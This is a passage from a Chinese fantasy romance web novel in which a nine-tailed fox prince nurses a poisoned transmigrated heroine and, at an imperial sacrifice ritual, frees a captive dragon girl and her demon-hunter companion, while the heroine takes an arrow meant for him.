“你何必为她做到这个地步?”宸明帝一脸不解,“不过是一个普通不过的弱女子,何必你这么大费周章。”看着这个身上留着他一半血脉的孩子,不免泛起零星柔情。说着,他似乎想起什么,吩咐侍卫拿来一瓶碧绿药瓶,交给纪绥:“朕这些年研究丹术多年,遍访名医高人炼成这奇药。”
“有了这个,你何愁解不了毒?只要吃下这个,她就会变成你的傀儡。”宸明帝一边说着,一边脑海里不受控制地想起白玖。她当年离开的身影那么决绝,如果让他这次发觉她的踪迹,一定把她牢牢锁在身边,让她看着这千秋霸业,为当年所作所为后悔......
纪绥看着手里的碧色药瓶,目光深沉。
*
天牢,空气中弥漫着潮湿的水汽和微弱的草腥味,四处都是身穿银色盔甲的重兵把守。昔日德高望重的定安侯背对着双腿盘踞坐在天牢一角,样子有些萎靡,直到听见守卫通报才转过身来。
“你来干什么?”看到昔日养子,纪云虽嘴上问询,表情并不惊讶,纵使额前飘着几缕白发,也并不显得狼狈,反而衬得不像坐牢而是养生休息一般。
“您应该知道我的来意。”纪绥边说着边递过来一个浅黄色的竹筒卷纸,在地上滚了几圈滚到定安侯脚边。
冷冷瞥了这逆子一眼,纪云拾起卷纸,打开后表情有些异样,这纸上画的正是龙女的藏身地图,“所以,你是来找我谈判?”他有些意外,环顾了下四周的守卫,那些不停走动的守卫已然注意到动静,不约而同地看向这边。
“就当这是一场交易吧。您告诉我安魂香解药,这件事我自然会解决。”纪绥漫不经心地回复,“平心而论,我曾经是感激您的养育之恩的。但这份恩情也早已日复一日被消磨殆尽。”眨眼间,瞳孔中红光一闪而过,刚才还在靠近的守卫很快走远,对他们的动作视若无睹。
常年饲养妖怪的定远侯自然明白,这是狐妖幻术所致,目光不经意挪移到他颈部的项圈上,目光有些意外。
“安神香没有疗愈办法,但......”纪云话锋一转,“还有,你脖子上这个是怎么来的?”这是除妖法宝环珞,佩戴者但凡动用黑气定会遭其压制。一身黑气的他怎
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么会戴上这个?或者是谁让他戴上的?
“这并不是什么大事,还是来谈谈解药吧......”
*
马车上的铃铛轻响,纪绥坐在车上,陷入沉思,刚才宸明帝的问话还在他耳边回荡,“我和你娘伉俪情深......”
是吗?那为什么当初他娘抛弃他前,明明白白地告诉他,不要爱上人类。阿娘的离开,似乎另有隐情。
何况还有这个。那璎珞圈上感受到黑气侵压,已经生出密密麻麻的尖刺,将他的脖颈刺出一些细微的血痕。
右手食指不经意地摩挲上紧紧缠在自己颈部上的项圈,温热的刺痛感传来,纪绥嘴角勾起。其实,从看到这个东西第一眼开始,他就知道所谓的生父并没有那么坦诚,这项圈是来克制他的妖气。他对他防备颇深。
但无所谓,他现在九尾魂魄回归,解开这点东西不在话下,只需要花费几天时间。
就在要施法取下时,马车突然停下,外面传来家丁上气不接下气的呼喊,夹杂着几分喜悦和忐忑:“世子,世子殿下,那位姑娘刚才醒了......”
听到这话,纪绥停下解项圈的动作,匆匆往邀月轩奔去。
面色苍白的女子闭目躺在床上,咳嗽声不断,她此刻全身生疼,像是躺在一块有万千荆棘刺的木枕上,脑仁像是被人狠狠砸过,随便一动就是钻心的疼痛。
“你醒了?”熟悉的声音由远及近传来。
她睁开眼,看到一张熟悉的面孔,视线还是有些模糊,视野像是被框在一个黑白画框内,但还是能觉察到一些对方担忧的情绪。
“你感觉身体怎么样?”见颜芷神情难受,纪绥忍不住出手,将她扶起拉进怀里,想施法抽取出一些黑气。也许,这样能让她好受一些。
感觉额头硌到坚硬的物体,颜芷双手撑在他胸前抵住,拉开一些距离,抬头想看清那是什么。
又是这样!余光瞥到胸前女子推拒的动作,被刻意压制很久的酸楚夹杂着怒火在纪绥胸腔燃起,渐成燎原之势。宸明帝的话恰如其分在他耳边响起,“这个人很多时候做法不合你的心意吧,她很多时候让你感到为难吧。没关系,我可以帮你,让她变得喜欢你。无论是谁,只要让对方吃下这个,就会无条件变成你的傀儡,任你予取予求。”
是啊,他也可以那样做。她总不能任凭他喜欢她,就这样一直肆无忌惮地伤害他。而且,只要那样做,她就不会再抗拒他的亲近了。变成失去意识的傀儡又怎么样,总归是他的。他只要自己喜欢就够了。想到这里,纪绥的右手不受控地伸向腰间锦囊。
下一秒,余光瞥到身前女子的动作后,男人瞳孔骤缩。
脑袋不清明的颜芷本能地感觉对方脖子上的颈环不顺眼,双手用力想要将它掰开,“该死,怎么掰不开......”发现毫无作用,还把对方的脖颈弄得有些微红后,皱眉道歉:“对不起,这样弄你可能有点不舒服,但怎样才能把它拆下来?”
她发觉解不开那项圈,心情越发烦躁,只能拿起手边的药膏,小心翼翼地涂抹在他脖颈的伤口上,想要把这碍眼的痕迹彻底消掉,她边涂边安慰道,“你被箍住一定很不自由吧,我帮你擦药吧。要是觉得疼,你可以叫出声的。”
他很想说,这点小伤比起之前受的算不上什么。而且早就习惯了,小时候在外面流浪时候,不能发出声响,尤其在夜晚,那样会引来能吃掉自己的敌人。
但想说的话堵在喉头,纪绥怎么也开不了口。
冰凉的触感随着颜芷指腹轻柔的动作传到脖颈,继而电流般传遍全身,所到之处酥麻一片,溃不成军。
他只听见心跳如擂鼓,震耳欲聋。
29. 龙珠何处寻
接下来的几日,按照定安侯给出的配方,纪绥一一找出对应的草药煎制好给颜芷服下。
“安魂香本没有解药,我给的这些配方只能暂时缓解她的症状......”定安侯的话在他耳边响起,重重敲击闷痛的心脏。
他皱着眉头,看着颜芷恢复些许血色的脸,思绪有些纷乱。
于是低头,轻轻拨开颜芷右臂上的粉色纱衣查看。
女子皮肤白皙,手臂纤弱,瘦得能看见青色的血管。在药汤加持之下,黑色血线确实放缓了增长,但如同一条暂时盘踞在手臂上的歪歪扭扭的长虫,惊心刺目,昭示着身体主人命不久矣。
感受女子脉搏的跳动,男子皱紧了眉头。她心脉受损严重,也尝试把自身灵气注入她体内修复,奈何因为吸食黑气太多,妖力已经不纯粹,对于人类身躯不像是解药,反而是一种催命剧毒。
目前服药只是权宜之计,当务之急还是要找到龙珠,或许会有转机。
看到侧卧着的颜芷,纪绥弯下腰,想给她换个舒服的姿势,生怕把她惊醒。
床榻上的女子察觉眼前的动作,缓缓睁开眼。
这些天,颜芷恍惚间能感觉到有人给她喂药,温热的液体划入喉头,不再像刚开始那样浑身发痒。
这次,她清楚地看到了救命恩人靠近的脸,就恰好停在正上方。
是纪绥。
“你......醒了?”明明没有做什么,看到女子疑惑的眼神,九尾狐侧头轻咳一声,耳根泛红,“只是给你翻个身,感觉有好些吗?”
“嗯......”颜芷回应道,没察觉他的异样,开始整理纷乱的记忆,脑海里闪过几个不连贯的画面。从那天闯入黑气林被他救起后,她就陷入了昏迷,做一些乱七八糟的梦,甚至有些分不清梦境和现实,梦到小时候的事,纪绥发狂还有脖子上的璎珞圈......
璎珞圈!?对,她好像有摸过纪绥的脖子,她记得当时有个遍布尖刺的项圈套在他脖子上,扎出密密麻麻的鲜红伤口,看起来惨不忍睹。
“你?”颜芷下意识看向当事人,他今天穿的衣服领口较低,露出修长的脖颈,上面不见鲜血淋漓的细密伤口,还是光洁如玉的肌肤,随着呼吸轻微起伏。
“怎么了?”有些没反应过来,见眼前女子突然焦急的表情,纪绥关心道。
“没什么。”看来只是个梦。幸好,幸好,颜芷摇摇头,如释重负地松了口气,甚至忽略了这个不是事实带给她一种莫名的安心感,直到不经意低头,看到身上的藕粉色衣衫,她记得当时穿的不是这件衣服,难道是他......?
她坐起身来,眼神在衣服和纪绥之间游移,自然被一直注视着她行动的男人顺利捕捉到。
有一种说不清道不明的滋味窜上心头,纪绥不禁脱口而出:“怕我占你便宜?你那天对我又搂又抱,我还没说你占我便宜呢?”看颜芷不自然地偏过头去,又怕她生气,忍不住开口辩解:“是让府上的嬷嬷给换的。我把蛊虫解了,没有强迫她们。”
原来那天不是梦,她看向对方,语气变得焦急,“那你那天脖子上的伤口怎么回事?是谁动的手?”按九尾狐的脾性和目前的实力,应该没有几个人能对他下手成功。
“没什么。”她是开始关心他了吗?意识到这点,纪绥心口处泛起一股难言的甜蜜,嘴角一勾调侃道:“只是一种掩人耳目的手段罢了。你关心我?”
被对方挑破心声,颜芷的心情有些微妙,实话说,她之前一直把他看做必须除去的任务对象,一个无恶不作的大魔头,却忽略他本身的意志和她心底的声音。她不是不通感情的木头人,也察觉到他原来是真的喜欢她。她一个人待久了,从不奢望能改变某个人,一直以来的处事准则就是只要做好自己就行。但这个人似乎在用自己的行动一直在向她证明,他可以被她改变。他可以是她的同类。
那这是不是意味着,她可以试着相信他?向他敞开心扉?
或许,留在这里也不错,和他一起相伴也不错。这个念头像疯长的野草在她脑海里蔓延开来。但要先把黑气解决掉,还有关于男女主的任务,改写烂尾结局。
“你说得对,我确实很难相信别人。我为之前的偏执误解道歉。”颜芷微微低头,艰难开口,“我知道你之前伤害别人是不得已而为之,我不希望你死,也不希望你伤害别人,我来这里的任务本来是为了杀你,”但是说到任务这个字眼,发觉怎么也出不了声,像是被人生生掐住了喉咙,再也吐不出一个字。她有些疑惑地看向纪绥,周围一切都变成黑白色,变成了无声默片。
难道又是系统搞的鬼?正当颜芷疑心时,冰冷的机械音再次响起:“警告,宿主不得泄露系统任务,检测到宿主生命值大幅度降低,请专心完成任务,否则十天内必死无疑。”
颜芷看着手臂上不再蔓延但足够长的黑色血线沉默,自从做出那个决定,她就知道这次必死无疑,但也不能让纪绥再入歧途。
伴随系统音结束,时间重新开始流动,被定格的黑白默片恢复彩色,纪绥坐在她床边,单手支着下颌,脸上的红晕也毫无疑问的暴露出来。
“你刚才说什么?”纪绥语气温柔起来,他刚听到她不希望他死,也不希望他伤害别人,但在那之后就模模糊糊听不分明。
“我可以看看你的尾巴吗?”难得向他提出这种要求,颜芷有些不好意思开口。
她想看纪绥的尾巴是否全部沾染上了黑气。在小说设定中,黑气是一切负面情绪的集合体,黑气越强,被负面情绪污染越重。虽然九尾狐一脉有避蛊的种族天赋,但她很担心他现在的状态。上次见他已经是七尾全黑,如果九条尾巴全部沾染上黑气,她很担心他会像梦中的那样......
“这有何难?”他现在满心满眼都是她,别说只是展示尾巴,就算要天上的星星他也得想个办法。似乎要他的命好像也不是个问题。
他脑袋轻轻一歪,九条雪白尾巴就这么不设防地展示出来,向着颜芷的方向靠近。尾巴蓬松又柔软,尾巴尖轻轻搭上颜芷的手背,想握又不敢握,像是在请求她的许可。
颜芷垂眸,看着这些乖巧的小可爱,她眉眼不自觉弯起,小心翼翼把这些尾巴捧起来,一条一条仔细翻看尾巴上的黑气,动作十分轻柔。
还好,她只看尾巴尖,还没有触碰到敏感的部分,纪绥嘴角微勾,看来她并不讨厌他,甚至还有些喜欢他,虽然是喜欢他的尾巴。没关系,这也是他身上的一部分。等这次治好她,他会慢慢让她喜欢上他的。他们还有很长很长的时间可以慢慢培养感情。
这边,颜芷已经检查完毕,还有一条尾巴没有被污染,她还能挽救。想到这里,颜芷松了一口气,心口的大石咣当落地。
“不要再吸食黑气了,也不要为了救我去伤害别人......”颜芷看着他,眼神恳切。
“可绥有安抚平定的意思,也许我生来就是安抚黑气的。”或许是得到了她的认可,纪绥想把宸明帝的话重复给她,看颜芷作何反应。“而且你......”
“相信我,我们会有别的办法的.......”颜芷蹙眉,自从做任务以来,凭直觉感到小说剧情有些蹊跷,她需要找到一些线索,找出什么才是平定黑气的真正办法。
纪绥看着她,轻轻点头。
*
大雨滂沱,洞穴里燃烧着一处温暖的篝火,龙轻雨双手抱膝坐在熊熊燃烧的火堆前,看着顺着洞崖接连不断的雨帘,一时有些迷惘。
不远处黑云滚滚,缓慢而不容忽视地朝着山洞的方向倾轧过来,就像她和陆承泽对抗多年的黑气一样,可恶至极却又无处可逃。
他出去找药了,不知多久才能回来。龙轻雨感觉有些冷,将身上的薄毯裹得更紧了一些,思索着下一步。时间过得真快,恍然不觉,她已经和陆承泽结伴闯荡天气铲除黑气一年有余了。还记得当时她刚从海里逃出来,人生地不熟,虚弱不堪的时候,被人诓骗,要被人去鳞片剥皮抽骨,是这个人类少年救了她。
她没有想到,那个看着文弱不堪的少年学徒,竟然有那么大的爆发力,以至于能带着她从经验老道、机关重重的捉妖人手里逃跑。
那一刻牵手逃跑的感觉,像风一样自由。和刚从龙宫里逃出来一模一样。身为一条自小被囚禁在龙宫中的龙,她从小就知道龙族以行云布雨为职责,驱邪避灾为己任。可惜,距离龙族叱咤风云,战无不胜的时代已经过去很久很久了。
那是很久以前一天,龙族最有能力的战将悻悻而归,他浑身鲜血淋漓,脸上是前所未有的恐惧,跌跌撞撞地闯进龙族长老领地,报告自己的所见所闻,随后倒地身亡。龙族最年迈的长老亲自前去,看出这黑气操控攻心之术是它们一族劫数。自此,为保全龙族一脉,长老下令,凡龙族者闭门不出,一概不管人间事。
生而为龙,遨游天地是它们一族的骄傲,怎能为黑气所惧。刚开始,自然有龙反抗,但是,反抗者或被流放,或被斩杀,久而久之,大家也没了声音,渐渐习惯了这种安逸的生活,屈居一隅不再出海。
可是,缺乏人类的祭祀和信仰,龙族呼风唤雨的能力也逐年下降。因
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为灵力日渐衰微,龙族一代不如一代,或多或少有残缺,要不六识不全,要不肢体不稳,要不没有内丹。龙轻雨,是这一代中唯一拥有龙珠的健全之身。作为家族中最小的龙,作为龙族的掌上明珠,她勉强能唤出一个巴掌大的云,喷出一口气的火,被以实则保护其实软禁的名义,囚禁在龙宫中。
从她小时候就看着海里数千年不变的场景,闪闪发亮的珊瑚珠贝,听着人们的念诵祈祷。族里长辈告诉她捂住耳朵,不听不闻不看就好了,任凭人们千呼万唤也不出世。
人们都说,龙无法护佑众生,已经让黑气吓得得胆怯了,就连体形,也吓得只有爬虫大小。外面世界很危险,龙女安然听着长辈的教导,恪守这一原则。
直到有一天,她想出去看看。
因为龙族妖力日渐衰微,繁衍越来越困难,龙族面临灭族危机。妖怪想要修炼,可以通过吸收天地灵气清修,可以通过杀人夺物魔修,也可以通过妖妖结合双修。久困于在此的龙族来不及清修,也不愿魔修,只能选择和妖怪联姻。龙族决议,给各大妖族发擂台战书,决定开一场妖怪间的比武招亲,谁实力最强便和谁结合。百年前,这擂台战书曾被九尾狐族拿到,被九尾狐族夺得,听说九尾狐族生性貌美,心力强大,或许可以弥补龙族力强心弱这一弱点。族人拍手称快,但不知为何迟迟未来履约。
近日,迟迟未来的九尾狐族终于传来讯息,说要兑现婚约。龙轻雨就是被选中的祭品,她作为家族最小的女儿,有资格也有责任献祭她来延续龙族的荣耀。
可龙轻雨不愿意,一想到自己的一生要和一个从未见过面的陌生人绑定。生平百依百顺的龙第一次生出反抗的心思,她不想屈服于命运,她要到外面去看看,看看这个危险的世界,或许她可以不依靠外族,自己找到拯救族人的办法。
可是她忘了,真实的世界和书本上的不一样,而且,外面的世界因为黑气感染,人妖势不两立。很快,她就被抓住,被一些捉妖人送到妖怪食馆,食肉取鳞之前,他们看她貌美,还想动手动脚。
那时候,一个年少的捉妖人将她救了出来,两人相依为命,龙女也见识了黑气的可怕,以及给之前的黑气给人妖界带来的灾难。她也了解到,陆承泽不同,他以收服黑气为使命,只锄奸扫恶,和那些谋利为生,随便打杀妖怪的捉妖人不一样。
有一次,陆承泽因为处理黑气受伤,正在龇牙咧嘴地处理伤口。明明他可以独善其身逃跑,却要为了黑气侵染的村民折返回去,这和她一贯受到的教导相违背,她不由好奇地问:“既然你没有必胜的把握,为何还要迎难而上?”
这个身材瘦弱的人类少年只是笑道:“那是我们的责任。勇斗则生,不勇则死。见义勇发,不计祸福,必极其志而后已。”
她那时不懂人类那些文绉绉的话,只能懵懂点头,但经过这一路和捉妖人一路游行,锄强扶弱,匡扶正义,体验世间百态,她感觉到自己的内丹越来越强大。族中早已丧失的以勇敢著名的龙族之心好像找回来了,她有预感不久后就能扫平黑气,马上就要实现拯救族人的使命。
但天不遂人愿,一次意外,捉妖人要死了,他重伤之际半梦半醒,规劝自己快走:“抱歉,我们好像不能相依为命了。”在那时,龙女做了一个有生以来最勇敢的决定。她生剖了自己的龙珠,分一半给了他。龙珠虽为天下至宝,但是一旦用作一人续命,也只能成为普通的内丹,旁人无法察觉,且仅剩的半颗龙珠在她体内,极易波动。她拿着手里剩的半颗珠子,想她一定不能让任何人发现半颗龙珠在这捉妖人体内,也不能让他发现,否则,捉妖肯定也会毫不犹豫为了正义献身,性命不保。
按照黑气作乱规律,再过三个月,就是它作乱的日子,她一定会以命相抵。就让上苍看在她和这个人类锄强扶弱的功德上,原谅她短暂的私心吧。在扫除黑气最后的时间里,她想尽可能和捉妖人多待一会儿。
唯有完整的龙珠才能彻底荡平这次危机,到时候她会将真相告诉他,是生是死,他们一起承担。
急促的脚步声由远及近传来,龙轻雨向洞口看去,语气兴奋:“陆公子,你回来了?”
却见到被官兵拖着的伤痕累累的陆承泽,以及层层兵甲之后,衣冠整洁的纪绥。
“你怎么会找到这里?”
“要藏也不找个好去处。如果不是陆公子心急着现身,我也不会这么快就找到你们。”对方皮笑肉不笑地回应道。
资料出处
夫千金之珠,必在九重之渊,而骊龙颔下。《庄子·杂篇·列御寇》
30. 我应该恨你的
意识沉入一片混沌的黑,像轻生时骤然淹没颜芷的海水,所有感知都被尽数吞没。
一种强烈的灼烧感从胸口蔓延开来,又像是一双无形的手在肆意揉搓拉扯她本就脆弱不堪的心脏。
但她却能清楚分辨出痛觉的组成,有一部分是这具疲惫身体的不适,更多的部分来自于某人的背叛。
他背弃了承诺,让她相信,让她萌生出不该有的期待,又狠狠地把她的心拍碎。此刻胸腔中涌动着的全部是对他的恨,是的,她应该是恨他的。
不对,她只是可怜他。
真的只是因为可怜吗?
那个心底叫嚣的声音问道,难道你没有动心吗,没有一点点私心吗?
好吧,她承认,心底还涌动着不甘,其实还有对微不可察的失望。自从穿越到这个志怪小说,她从来没有感觉到作为一个普通人如此无力过,要是身体再强壮些,要是系统不发布这个该死的任务,要是她能有别的金手指,她就能阻止他,阻止他坠入万劫不复的深渊。
嘈杂的心声骤然消失,就像淹没人的海水瞬间褪去,压迫胸腔的巨石也不见踪影,死而复生的解脱感遍布全身。
颜芷好像被瞬移到一个密不透风的漆黑空间中,四处静悄悄的,轻的只能听到一个人的呼吸声,隔着一层厚厚的玻璃,忽远忽近地叩击着她的耳膜。
有一瞬间,空气像是陷入一片死一般的寂静,紧接着,那个人的呼吸声越来越重,离她的距离也越来越近。
随之而来的还有一只冰凉的手,极其缓慢攀上了她的手腕,寒凉的触感顺着这只手的移动向下游走,紧接着试探性地握住了她的指尖。那动作,和尾巴试探一模一样。
是纪绥,这个熟悉的动作。
他要做什么?
从未感到意识如此清晰,颜芷想睁开眼,和他好好谈谈,但像是被强制关在这个漆黑无光的房间一样。
她只能被动感受,什么也主动做不了。
“我应该恨你的......”对方的语气带着显而易见的不甘和绝望,纪绥的声音断断续续传来,她只能捕捉到几个词,“起初,注意到你,是因为只有你一直注视着我,虽然只是为了杀我,”嘶哑的声音带着几分自嘲,“很可笑吧,竟是为了这种理由。”
“阿娘,养父,生父、还有很多很多人,他们要不抛弃我,要不利用我,要不不在意我。只有你一直看着我,阻止我,所以我要抓住你,无论如何都要......”那只手坚定而缓慢地握住了她的五指,带有不容拒绝的强硬,将她的手死死握住,仿佛谁也不能将他们分开。
伴随着他的吐露,之前待解的谜团像乱缠的毛线团突然出现一截线头。“所以,当你说我们不是同类,要离开我的时候,我真想杀了你,或者和你同归于尽......”那声音语调狠绝,声线却微弱不堪,炽热的吐息紧贴着她的皮肤。
这是......要杀了她?颜芷费力地思考,可和她向来顽强的求生意志形影不离的危险预判并没有响起。
与之相反,在视觉嗅觉被蒙蔽,触觉被扩大的前提下,能从他颤抖的动作中感知到濒临崩溃的脆弱和渴求。
荒唐地像是,在求她别离开他?在求她爱他?
“再告诉你一个秘密吧,其实在那个梦境中,我看到的是你的梦.......”
他说话很慢,声音越来越低,几不可闻,夹杂着一声轻微的笑意,“你还真是不一样。”
片刻后,握着她的那只手骤然松开,颜芷的指尖极其轻微地向后勾了一下,但还是没留住他。“其实......”后面的话她再也听不清,一阵清脆的声响传来,好像在翻找什么东西。
到底在做什么?颜芷想清醒过来和纪绥说话,胡思乱想间,有什么柔软的东西带着温热的触感流入她的唇齿,仿佛一股甘甜的泉水平复了郁气和怒火。还没来得及仔细分别,那温热的气息游走到她前额,重重留下一个短暂而又决绝的印记,而后彻底离开。
“算了。等你醒来,一切就都结束了。”纪绥就这样留下了一句含义不明的话,与此同时响起的还有木门开合的声音。
恐慌的危机感促使她要做些什么,紧急呼唤装死的系统,它却没头没尾地来了一句,“伏天大典已至,任务平稳进行中,请宿主无需担心。”而后彻底消失。
这系统是不是有毛病,她人还在床上昏迷着,能去哪里进行任务?
无暇再去想个中缘由,颜芷绞尽脑汁思考解决办法。
要做什么?怎么做?对了,她还有柳树精那时留下的药丸,费力地抬起能缓慢移动的右手,将它递到嘴边打开,包裹着药丸的警告字条掉落出来。
“此药能让人恢复一时行动,但风险极高,会极限燃烧体能极限,不到万不得已保命之时,切记切记切记。”
纸条上还写着柳杨当时叮嘱的话,这也是颜芷一直不食用它的原因。可现在管不了那么多了。
现在她满脑子想的就是如何阻止纪绥,阻止他走出那无可挽回的一步。
她偏过头,看到桌子上搁置着一把锋锐的短刃,上面残留着未干的血迹。
还有一方绣着玫瑰花的手帕。
是比赛那日绣的东西,难道一直都被他放在身上?
药丸丝滑入喉,久违的气力和视觉、听觉、嗅觉、味觉同时回归,舌尖还停留些微甜味。她后知后觉地抬手擦眼眶,储存其中已久的液体终于顺着脸颊滑落下来。
可现在恢复气力还不够,她必须快点赶到伏天大典才行,颜芷在房间里到处摸索,翻箱倒柜找什么可以用的东西。终于在墙角夹缝处找到一张皱皱巴巴的遁地符,因为恰好夹杂死角处没有被清理干净,是她当时刺杀纪绥时,被打散在这个房间落下的。
她必须阻止他,哪怕是赌上她的命,也绝对不能让那个噩梦成真。
*
农历八月十六,大宴朝搁置十年的伏天大典就此重启,名为伏天,意在黑气卷土重来,要献上贡品安抚降服黑气,设在日落时分。
宫中沿途步道放上了特制仪仗,祭台也早已整理修缮完毕,文武百官都身着朝服,神情肃穆地立在伏天台下等候指令。远处香炉里燃烧的特制香料雾气缥缈,近处贡桌上,妖丹和水果牲品一应俱全,各项准备已完成。
伏天台中间放着两只巨大的方笼,上面用赤黑交间的巨大方布覆盖着,四周还有重兵把守,足以展现对祭品的重视。
今日天气不是很好,蕴着沉闷的黑。宸明帝头戴冕旒,微微眯眼看向晦暗天际线。
等这仪式举办完毕,他离毕生夙愿就更进一步了。还有牢狱中的定安侯,还没等他审问拷打,竟然已经服毒自尽了。罢了,看在他认罪有功的份上,会给他修一个体面的坟茔的。
看着多年不见的盛大景象,宸明帝感慨万千,登基为帝那一天仿佛还在昨日,如今已经年过不惑了。
无妨,他已有专门丹药续命,待拿到龙珠,一切都会解决。
一会儿找到白玖,他定要让她好好解释这些年到底怎么回事,以及为什么要瞒着他带着他们的孩子逃跑。
想到这里,他凝眸看向不远处的白绥。他今日倒是穿着得体,玉树临风,不枉是他和白玖的孩子。
而且他也承认知道龙珠下落,一会儿就会在仪式上按计划献出。只是神色阴郁沉沉,不知在谋算什么。他刚才已经敲打过他,让这小子明白自己的身份和用处,不要毁了这多年大计。虽然自己也有招对付他,但万不得已,他不想走到那一步。
“吉时已到~大~典~开~始~”伴随着典仪官长长的呼喝,鼓乐奏响,歌舞齐发,积柴烟气升天。
收到这一指令,纪绥面无表情地掀开幕布,一条体型娇小的金龙盘踞在地上,不安地喘着粗
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气,龙须一抖一抖。
在金龙旁边的笼子里,是伤痕累累早已昏睡过去的青衣男子,一兽一人身上都绑着一条刻满咒纹的银色粗链,稍有动静,便哗啦作响。
金龙刚一现身,便引起文武百官一阵低声惊呼。
他们有多久没见过真龙了,传说龙族已灭,没想到有生之年还能见到一条活着的。眼前这条金龙虽看起来年纪尚小,但浑身光芒把这伏天台照得金光灿灿。
台下众人反应不一,有人看到这场面欣喜若狂,喟叹道如果能得到它的龙珠,一定可以荡平这困扰世间多年的黑气。
也有人惊慌失措,看到圣上做出此等疯狂举动,怕降下天罚,准备冒死进谏,却被同行拉住脚步。
金龙看着周围阵仗,察觉到即将来临的危险,一边不安地低吼着,一边想撞开笼子。
可随着它挣扎的动作,周身银链像有了意识一般,加剧勒紧伤口淋漓的身体,牵连两人的银色咒链一旁的捉妖人也被绑得越发紧实。
看到金龙挣扎,纪绥似乎早已预料到她的动作。
他一边打开关着陆承泽的监笼,一边低声说道:“我知道你一会儿想做什么。别乱动,按我计划行事,保你们安然无忧。”
边说着,男子边打了个响指,九条尾巴嘭的爆出,伏天台周围把守的士兵看到尾巴的瞬间一动不动,像被提取精魂的木头人。
金龙看到九尾狐右手亮起来的翠绿玉刃,满眼质疑,她想到什么,轻轻偏头示意,想让纪绥解开银链,放捉妖人,自己承担一切。
“你的另一半龙珠在他身上,对不对?”纪绥此话一出,刚才还不停挣扎的金龙像是被施了定身咒,无法动弹。
她从未吐露半分的秘密竟然能被这九尾狐知晓,简直像开了天眼。
*
“你别乱动,我会救你们出去。”纪绥说着,利落地一刀精准扎入捉妖人左边胸腔,将他体内的半颗龙珠挖出。被藏在血肉中的半颗珠子刚重见天日,便散发出刺目的金光,昭示着至尊神兽内丹的珍贵。
龙轻雨被眼前场面刺激得瞳孔一缩,还未来得及做出反应,便看到显现部分妖尾的纪绥做了另一个不可思议的举动。
男子动作迅速,面不改色地割下自己的一条未被黑气污染的白色尾巴,塞入捉妖人胸口。几乎是眨眼间,又往自己身上隔空注入大量妖力,很快化作点点银光散入金色鳞片内。九尾狐一尾一命,他竟将一条命给了捉妖人。
“快,这下你和他没有后顾之忧了,做你们多年前应该做的事。”纪绥冷淡开口,他边操作便说了一句:“不必谢我,就当还清你龙血一事。”
而不远处的宸明帝,本来笑意吟吟观礼的脸庞在看到这一幕脸色忽变。
他是老了没错,可这并不意味着他老眼昏花,看不到白绥在干什么。
那个疯子,他竟将取出的两半龙珠合二为一塞入那条金龙嘴中,甚至还想解开那条龙和捉妖人身上的镇妖锁?
皇帝怒气横生,朝伏天台处怒吼道:“绥儿,你在干什么?快停下来!”
却看这逆子动作依旧,他再也忍不住,气冲冲拿起准备已久的银色弓弩,瞄准他所在的方向威胁:“逆子,住手!”
见白绥依旧我行我素,宸明帝暴怒不已,仿佛回到多年前追着白玖的那个午后,他挽弓搭箭,一言不发朝着那背影的肩膀处射去。
嗖的一声,是利箭破空的声音,向着目标物直奔而去。
看着局势即将重回正轨,宸明帝满意地放下弓箭落座。这神箭经过淬炼,能十里内锁定有追踪物血味的目标物,箭无虚发。而且箭头沾染了巨量麻药,足以让这个蠢货停止现下的举动。
纪绥正专心解着两人身上的锁链,却感到一侧肩膀被某人大力推开,不由卧倒在地。
他回头,看见死死摁着身上箭头,浑身浴血的颜芷,目眦欲裂。
31. 驯服
银制箭头锋利,从颜芷右肩膀上臂穿过,留下大片殷红的血色,半支箭身似有意识,尾部不停地猛烈震颤,如同一只心急想要归巢的鸟,嗡鸣着想要冲向往纪绥所在的方向,被她用完好的左手死死拽在掌中不松手。
一时间周围声音化作乌有,纪绥不知道作何反应。他只是,有些听不见自己的心跳了。
“我还好,不用管我。去做你想要做的事。”受伤的女子似有所觉,朝着他的方向堪堪投来一眼,勉强扯起嘴角,露出个安抚的微笑。
趁着转头的功夫,颜芷环顾四周情况。现下应该是伏天大典仪式,她刚逃出府,就发现街上到处都是身披着盔甲的重兵在巡游,幸好陆承泽给的那张遁地符还能用,赶上时机穿行过来。可不巧的是,她并不明白目前状况如何,只看到观礼台上有一个衣着华贵的人挽弓搭箭射向纪绥,就下意识推开他,没想到那箭就像长了眼睛,一心只想往纪绥身上扑。
硕大的笼子里,一条金龙呈环状盘踞在地上,痛苦地喘着粗气,龙须随之微微颤抖,她还在闭目屏息运气调理。被强行分开许久的内丹回归,加之沾染了人类的血肉,合二为一并没有想象中那么容易。而接收了狐妖部分生命力的陆承泽仰躺在另一侧的笼子里,胸腔剧烈起伏,眼睫不适地轻颤着,似乎有要醒来的迹象。台下的士兵被使了定身术,无法做出任何动作。
纪绥手上有破碎的银链,地上还有散落的一些已经解开的银色锁链,他在做什么不言而喻。
是在帮他们。
尽管伤口传来剧烈的麻痹感,得出这个结论后,颜芷不知为何,并不感到疼痛,身心的愉悦感压过□□上的痛苦。也许她和他之间有什么还没说出口的误会。纪绥不是那样的人,之前一定是有什么迫使他那样做。他不会被蛊惑,也不会变成她噩梦中的那个固有结局。一切都有改变的余地。
天色逐渐昏暗下来,聚集而成的黑气像训练有素的兵阵,一言不发地向着大宴朝正殿所在方向吞噬。
宸明帝看着不远处的乱象,终于按耐不住起身,这逆子,到底是留他不得了。
他打了个手势,已久的的缉妖司精锐得到指令,集体现身,口中念念有词。不同于颜芷和纪绥之前去工部侍郎府探案见到的那批捕快,现下现身的个个品貌不凡,猿臂蜂腰,眸光似刃,衣着华贵,所用佩剑都是最上乘,明显是花了大力气培养。
随着众人的开口,地上破碎的银色咒链仿佛受到召唤,断裂的几节自主拼接起来,密密麻麻的咒文骤然点亮,宛如一条巨型长蛇,想要将刚刚脱困的金龙和捉妖师再度缠住。
龙轻雨已经恢复些许力气,一爪打落挥向陆承泽的长链,看到他顺着惯性被甩到一边即将落下高台,又急忙用身体把他卷回来。顺便将几个身后偷袭颜芷的官兵打退,看她没事才松了口气。龙轻雨化作人形,抓住醒来的陆承泽肩膀,开口道:“陆公子,你还好吗?”
陆承泽睁开眼,看到一脸担忧的龙轻雨,温柔一笑,“我没事,先打退他们。”说着便丹田运气,察觉到体内涌动着另外一股力量,他眼疾手快打掉要刺向龙轻雨的利剑,皱眉,想到龙轻雨这些天的异常举止和越来越不安的表情,有些明白什么。
